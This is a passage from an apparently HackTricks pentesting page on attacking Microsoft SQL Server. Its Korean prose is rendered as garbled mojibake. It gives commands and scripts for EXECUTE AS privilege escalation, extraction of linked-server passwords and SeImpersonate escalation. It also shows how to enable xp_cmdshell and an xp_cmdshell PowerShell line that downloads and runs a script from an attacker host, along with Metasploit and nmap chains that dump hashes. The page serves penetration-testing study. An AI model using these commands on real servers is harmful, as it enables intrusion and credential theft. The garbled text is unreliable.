SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
```
์ด ๊ณต๊ฒฉ์ **metasploit** ๋ชจ๋์ ์ฌ์ฉํ์ฌ ์ํํ ์ ์์ต๋๋ค:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
๋๋ **PS** ์คํฌ๋ฆฝํธ๋ก:
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
## MSSQL์ ์ด์ฉํ ์ง์์ฑ ํ๋ณด
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## SQL Server Linked Servers์์ ๋น๋ฐ๋ฒํธ ์ถ์ถํ๊ธฐ
๊ณต๊ฒฉ์๋ SQL ์ธ์คํด์ค์์ SQL Server Linked Servers ๋น๋ฐ๋ฒํธ๋ฅผ ์ถ์ถํ์ฌ ํ๋ฌธ์ผ๋ก ์ป์ ์ ์์ผ๋ฉฐ, ์ด๋ฅผ ํตํด ๊ณต๊ฒฉ์๋ ๋์์ ๋ํ ๋ ํฐ ๋ฐํ์ ํ๋ณดํ ์ ์์ต๋๋ค. Linked Servers์ ์ ์ฅ๋ ๋น๋ฐ๋ฒํธ๋ฅผ ์ถ์ถํ๊ณ ๋ณตํธํํ๋ ์คํฌ๋ฆฝํธ๋ [์ฌ๊ธฐ](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)์์ ์ฐพ์ ์ ์์ต๋๋ค.
์ด ์ต์คํ๋ก์์ด ์๋ํ๊ธฐ ์ํด์๋ ๋ช ๊ฐ์ง ์๊ตฌ ์ฌํญ๊ณผ ๊ตฌ์ฑ์ด ํ์ํฉ๋๋ค. ์ฐ์ , ํด๋น ๋จธ์ ์์ ๊ด๋ฆฌ์ ๊ถํ์ด ์๊ฑฐ๋ SQL Server ๊ตฌ์ฑ์ ๊ด๋ฆฌํ ์ ์๋ ๋ฅ๋ ฅ์ด ์์ด์ผ ํฉ๋๋ค.
๊ถํ์ ํ์ธํ ํ, ๋ค์ ์ธ ๊ฐ์ง๋ฅผ ๊ตฌ์ฑํด์ผ ํฉ๋๋ค:
1. SQL Server ์ธ์คํด์ค์์ TCP/IP ํ์ฑํ;
2. ์์ ๋งค๊ฐ๋ณ์ ์ถ๊ฐ, ์ด ๊ฒฝ์ฐ -T7806์ด๋ผ๋ ์ถ์ ํ๋๊ทธ๊ฐ ์ถ๊ฐ๋ฉ๋๋ค.
3. ์๊ฒฉ ๊ด๋ฆฌ์ ์ฐ๊ฒฐ ํ์ฑํ.
์ด ๊ตฌ์ฑ์ ์๋ํํ๊ธฐ ์ํด [์ด ์ ์ฅ์](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)์๋ ํ์ํ ์คํฌ๋ฆฝํธ๊ฐ ์์ต๋๋ค. ๊ฐ ๊ตฌ์ฑ ๋จ๊ณ์ ๋ํ PowerShell ์คํฌ๋ฆฝํธ ์ธ์๋, ์ด ์ ์ฅ์์๋ ๊ตฌ์ฑ ์คํฌ๋ฆฝํธ์ ๋น๋ฐ๋ฒํธ ์ถ์ถ ๋ฐ ๋ณตํธํ๋ฅผ ๊ฒฐํฉํ ์ ์ฒด ์คํฌ๋ฆฝํธ๋ ํฌํจ๋์ด ์์ต๋๋ค.
์ด ๊ณต๊ฒฉ์ ๋ํ ์ถ๊ฐ ์ ๋ณด๋ ๋ค์ ๋งํฌ๋ฅผ ์ฐธ์กฐํ์ญ์์ค: [MSSQL ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋งํฌ ์๋ฒ ๋น๋ฐ๋ฒํธ ๋ณตํธํ](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[SQL Server ์ ์ฉ ๊ด๋ฆฌ์ ์ฐ๊ฒฐ ๋ฌธ์ ํด๊ฒฐ](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## ๋ก์ปฌ ๊ถํ ์์น
MSSQL ์๋ฒ๋ฅผ ์คํํ๋ ์ฌ์ฉ์๋ **SeImpersonatePrivilege** ๊ถํ ํ ํฐ์ด ํ์ฑํ๋์ด ์์ต๋๋ค.\
๋ค์ ๋ ํ์ด์ง ์ค ํ๋๋ฅผ ๋ฐ๋ผ **๊ด๋ฆฌ์๋ก ์์น**ํ ์ ์์ ๊ฒ์
๋๋ค:
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
{% endcontent-ref %}
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %}
[juicypotato.md](../../windows-hardening/windows-local-privilege-escalation/juicypotato.md)
{% endcontent-ref %}
## Shodan
* `port:1433 !HTTP`
## ์ฐธ๊ณ ๋ฌธํ
* [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
* [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
## HackTricks ์๋ ๋ช
๋ น
```
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applicationsโwhich may run either on the same computer or on another computer across a network (including the Internet).
#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT ; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT ; run; exit'
```
{% hint style="success" %}
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks ์ง์ํ๊ธฐ
* [**๊ตฌ๋
๊ณํ**](https://github.com/sponsors/carlospolop) ํ์ธํ๊ธฐ!
* **๐ฌ [**Discord ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋๋ [**ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน**](https://t.me/peass)์ ์ฐธ์ฌํ๊ฑฐ๋ **Twitter** ๐ฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**๋ฅผ ํ๋ก์ฐํ์ธ์.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.**
{% endhint %}